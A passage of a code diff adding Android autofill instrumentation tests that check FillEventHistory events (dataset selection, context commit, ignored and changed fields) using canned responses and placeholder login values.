+ .getFillEventHistory();
+ assertThat(selection).isNull();
+ }
+ }
+
+ @Test
+ public void testNoEvents_whenServiceTimesout() throws Exception {
+ enableService();
+
+ // First reset
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .build());
+ mActivity.expectAutoFill("username");
+
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertNoDeprecatedClientState(selection);
+ List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Second request
+ sReplier.addResponse(DO_NOT_REPLY_RESPONSE);
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+ waitUntilDisconnected();
+
+ {
+ // Verify fill selection
+ FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertThat(selection).isNull();
+ }
+ }
+
+ private Bundle getBundle(String key, String value) {
+ final Bundle bundle = new Bundle();
+ bundle.putString(key, value);
+ return bundle;
+ }
+
+ /**
+ * Tests the following scenario:
+ *
+ * <ol>
+ * <li>Activity A is launched.
+ * <li>Activity A triggers autofill.
+ * <li>Activity B is launched.
+ * <li>Activity B triggers autofill.
+ * <li>User goes back to Activity A.
+ * <li>User triggers save on Activity A - at this point, service should have stats of
+ * activity B, and stats for activity A should have beeen discarded.
+ * </ol>
+ */
+ @Test
+ public void testEventsFromPreviousSessionIsDiscarded() throws Exception {
+ enableService();
+
+ // Launch activity A
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setExtras(getBundle("activity", "A"))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .build());
+
+ // Trigger autofill on activity A
+ mActivity.onUsername(View::requestFocus);
+ waitUntilConnected();
+ sReplier.getNextFillRequest();
+
+ // Verify fill selection for Activity A
+ FillEventHistory selectionA = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selectionA, "activity", "A");
+ assertThat(selectionA.getEvents()).isNull();
+
+ // Launch activity B
+ mContext.startActivity(new Intent(mContext, CheckoutActivity.class));
+
+ // Trigger autofill on activity B
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setExtras(getBundle("activity", "B"))
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_CC_NUMBER, "4815162342")
+ .setPresentation(createPresentation("datasetB"))
+ .build())
+ .build());
+ sUiBot.focusByRelativeId(ID_CC_NUMBER);
+ sReplier.getNextFillRequest();
+
+ // Verify fill selection for Activity B
+ final FillEventHistory selectionB = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(selectionB, "activity", "B");
+ assertThat(selectionB.getEvents()).isNull();
+
+ // Now switch back to A...
+ sUiBot.pressBack(); // dismiss keyboard
+ sUiBot.pressBack(); // dismiss task
+ sUiBot.assertShownByRelativeId(ID_USERNAME);
+ // ...and trigger save
+ // Set credentials...
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ sReplier.getNextSaveRequest();
+
+ // Finally, make sure history is right
+ final FillEventHistory finalSelection = InstrumentedAutoFillService.peekInstance()
+ .getFillEventHistory();
+ assertDeprecatedClientState(finalSelection, "activity", "B");
+ assertThat(finalSelection.getEvents()).isNull();
+ }
+
+ @Test
+ public void testContextCommitted_whenServiceDidntDoAnything() throws Exception {
+ enableService();
+
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger save
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert no events where generated
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertThat(selection).isNull();
+ }
+
+ @Test
+ public void textContextCommitted_withoutDatasets() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+ .build());
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertNoDatasets();
+
+ // Trigger save
+ mActivity.onUsername((v) -> v.setText("malkovich"));
+ mActivity.onPassword((v) -> v.setText("malkovich"));
+ final String expectedMessage = getWelcomeMessage("malkovich");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ sReplier.getNextSaveRequest();
+
+ // Assert it
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+ assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
+ }
+
+ @Test
+ public void testContextCommitted_withoutFlagOnLastResponse() throws Exception {
+ enableService();
+ // Trigger 1st autofill request
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill(BACKDOOR_USERNAME);
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+ // Verify fill history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Trigger 2st autofill request (which will clear the fill event history)
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ // don't set flags
+ .build());
+ mActivity.expectPasswordAutoFill("whatever");
+ mActivity.onPassword(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.selectDataset("dataset2");
+ mActivity.assertAutoFilled();
+ // Verify fill history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
+ }
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+
+ assertFillEventForDatasetSelected(events.get(0), "id2");
+ }
+ }
+
+ @Test
+ public void testContextCommitted_idlessDatasets() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username1", "password1");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+ sUiBot.selectDataset(datasetPicker, "dataset1");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Finish the context by login in
+ mActivity.onUsername((v) -> v.setText("USERNAME"));
+ mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+ final String expectedMessage = getWelcomeMessage("USERNAME");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+ }
+
+ @Test
+ public void testContextCommitted_idlessDatasetSelected_datasetWithIdIgnored()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username1", "password1");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+ sUiBot.selectDataset(datasetPicker, "dataset1");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ }
+
+ // Finish the context by login in
+ mActivity.onPassword((v) -> v.setText("username1"));
+
+ final String expectedMessage = getWelcomeMessage("username1");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+
+ FillEventHistory.Event event2 = events.get(1);
+ assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event2.getDatasetId()).isNull();
+ assertThat(event2.getClientState()).isNull();
+ assertThat(event2.getSelectedDatasetIds()).isEmpty();
+ assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ final Map<AutofillId, String> changedFields = event2.getChangedFields();
+ assertThat(changedFields).containsExactly(passwordId, "id2");
+ assertThat(event2.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ @Test
+ public void testContextCommitted_idlessDatasetIgnored_datasetWithIdSelected()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username2", "password2");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+ sUiBot.selectDataset(datasetPicker, "dataset2");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
+ }
+
+ // Finish the context by login in
+ mActivity.onPassword((v) -> v.setText("username2"));
+
+ final String expectedMessage = getWelcomeMessage("username2");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id2");
+
+ final FillEventHistory.Event event2 = events.get(1);
+ assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event2.getDatasetId()).isNull();
+ assertThat(event2.getClientState()).isNull();
+ assertThat(event2.getSelectedDatasetIds()).containsExactly("id2");
+ assertThat(event2.getIgnoredDatasetIds()).isEmpty();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ final Map<AutofillId, String> changedFields = event2.getChangedFields();
+ assertThat(changedFields).containsExactly(passwordId, "id2");
+ assertThat(event2.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, no dataset was selected by the user,
+ * neither the user entered values that were present in these datasets.
+ */
+ @Test
+ public void testContextCommitted_noDatasetSelected_valuesNotManuallyEntered() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset1", "dataset2");
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ assertThat(selection.getEvents()).isNull();
+ }
+
+ // Enter values not present at the datasets
+ mActivity.onUsername((v) -> v.setText("USERNAME"));
+ mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage("USERNAME");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Verify history again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, just one dataset was selected by the user,
+ * and the user changed the values provided by the service.
+ */
+ @Test
+ public void testContextCommitted_oneDatasetSelected() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, "username1")
+ .setField(ID_PASSWORD, "password1")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "username2")
+ .setField(ID_PASSWORD, "password2")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username1", "password1");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+ sUiBot.selectDataset(datasetPicker, "dataset1");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Finish the context by login in
+ mActivity.onUsername((v) -> v.setText("USERNAME"));
+ mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+ final String expectedMessage = getWelcomeMessage("USERNAME");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+
+ final FillEventHistory.Event event2 = events.get(1);
+ assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event2.getDatasetId()).isNull();
+ assertThat(event2.getClientState()).isNull();
+ assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
+ assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+ final Map<AutofillId, String> changedFields = event2.getChangedFields();
+ final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ assertThat(changedFields).containsExactlyEntriesIn(
+ ImmutableMap.of(usernameId, "id1", passwordId, "id1"));
+ assertThat(event2.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, both datasets were selected by the user,
+ * and the user changed the values provided by the service.
+ */
+ @Test
+ public void testContextCommitted_multipleDatasetsSelected() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_PASSWORD, "password")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username");
+
+ // Trigger autofill
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Autofill username
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Autofill password
+ mActivity.expectPasswordAutoFill("password");
+
+ mActivity.onPassword(View::requestFocus);
+ sUiBot.selectDataset("dataset2");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
+ }
+
+ // Finish the context by login in
+ mActivity.onPassword((v) -> v.setText("username"));
+
+ final String expectedMessage = getWelcomeMessage("username");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(3);
+
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
+
+ final FillEventHistory.Event event3 = events.get(2);
+ assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event3.getDatasetId()).isNull();
+ assertThat(event3.getClientState()).isNull();
+ assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+ assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+ final Map<AutofillId, String> changedFields = event3.getChangedFields();
+ final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+ assertThat(changedFields).containsExactly(passwordId, "id2");
+ assertThat(event3.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, both datasets were selected by the user,
+ * and the user didn't change the values provided by the service.
+ */
+ @Test
+ public void testContextCommitted_multipleDatasetsSelected_butNotChanged() throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill(BACKDOOR_USERNAME);
+
+ // Trigger autofill
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ // Autofill username
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Autofill password
+ mActivity.expectPasswordAutoFill("whatever");
+
+ mActivity.onPassword(View::requestFocus);
+ sUiBot.selectDataset("dataset2");
+ mActivity.assertAutoFilled();
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
+ }
+
+ // Finish the context by login in
+ final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ {
+ // Verify fill history
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(3);
+
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ assertFillEventForDatasetSelected(events.get(1), "id2");
+
+ final FillEventHistory.Event event3 = events.get(2);
+ assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event3.getDatasetId()).isNull();
+ assertThat(event3.getClientState()).isNull();
+ assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+ assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+ assertThat(event3.getChangedFields()).isEmpty();
+ assertThat(event3.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, the user selected the dataset, than changed
+ * the autofilled values, but then change the values again so they match what was provided by
+ * the service.
+ */
+ @Test
+ public void testContextCommitted_oneDatasetSelected_Changed_thenChangedBack()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, "username")
+ .setField(ID_PASSWORD, "username")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ mActivity.expectAutoFill("username", "username");
+
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+
+ sUiBot.selectDataset("dataset1");
+ mActivity.assertAutoFilled();
+
+ // Verify dataset selection
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(1);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+ }
+
+ // Change the fields to different values from datasets
+ mActivity.onUsername((v) -> v.setText("USERNAME"));
+ mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+ // Then change back to dataset values
+ mActivity.onUsername((v) -> v.setText("username"));
+ mActivity.onPassword((v) -> v.setText("username"));
+
+ final String expectedMessage = getWelcomeMessage("username");
+ final String actualMessage = mActivity.tapLogin();
+ assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...and check again
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+ final List<Event> events = selection.getEvents();
+ assertWithMessage("Wrong number of events: %s", events).that(events.size())
+ .isEqualTo(2);
+ assertFillEventForDatasetSelected(events.get(0), "id1");
+
+ FillEventHistory.Event event2 = events.get(1);
+ assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event2.getDatasetId()).isNull();
+ assertThat(event2.getClientState()).isNull();
+ assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
+ assertThat(event2.getIgnoredDatasetIds()).isEmpty();
+ assertThat(event2.getChangedFields()).isEmpty();
+ assertThat(event2.getManuallyEnteredField()).isEmpty();
+ }
+ }
+
+ /**
+ * Tests scenario where the context was committed, the user did not selected any dataset, but
+ * the user manually entered values that match what was provided by the service.
+ */
+ @Test
+ public void testContextCommitted_noDatasetSelected_butManuallyEntered()
+ throws Exception {
+ enableService();
+
+ sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+ new CannedDataset.Builder()
+ .setId("id1")
+ .setField(ID_USERNAME, BACKDOOR_USERNAME)
+ .setField(ID_PASSWORD, "NotUsedPassword")
+ .setPresentation(createPresentation("dataset1"))
+ .build())
+ .addDataset(new CannedDataset.Builder()
+ .setId("id2")
+ .setField(ID_USERNAME, "NotUserUsername")
+ .setField(ID_PASSWORD, "whatever")
+ .setPresentation(createPresentation("dataset2"))
+ .build())
+ .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+ .build());
+ // Trigger autofill on username
+ mActivity.onUsername(View::requestFocus);
+ sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("dataset1", "dataset2");
+
+ // Verify history
+ {
+ final FillEventHistory selection =
+ InstrumentedAutoFillService.peekInstance().getFillEventHistory();
